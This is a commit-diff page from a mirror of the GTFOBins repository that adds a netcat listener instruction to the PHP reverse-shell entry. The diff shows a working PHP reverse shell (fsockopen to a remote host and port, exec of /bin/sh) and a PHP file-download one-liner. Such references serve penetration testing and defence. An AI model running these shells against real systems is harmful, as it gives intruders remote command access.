mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add PHP reverse-shell description
This commit is contained in:
parent
6a075ebeeb
commit
e3d9c03c96
@ -32,7 +32,8 @@ functions:
|
|||||||
export LFILE=file_to_get
|
export LFILE=file_to_get
|
||||||
php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);'
|
php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- code: |
|
- description: Run `nc -l -p 8000` to receive the shell on the other end.
|
||||||
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=127.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=8000
|
||||||
php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'
|
php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||||
|
Loading…
Reference in New Issue
Block a user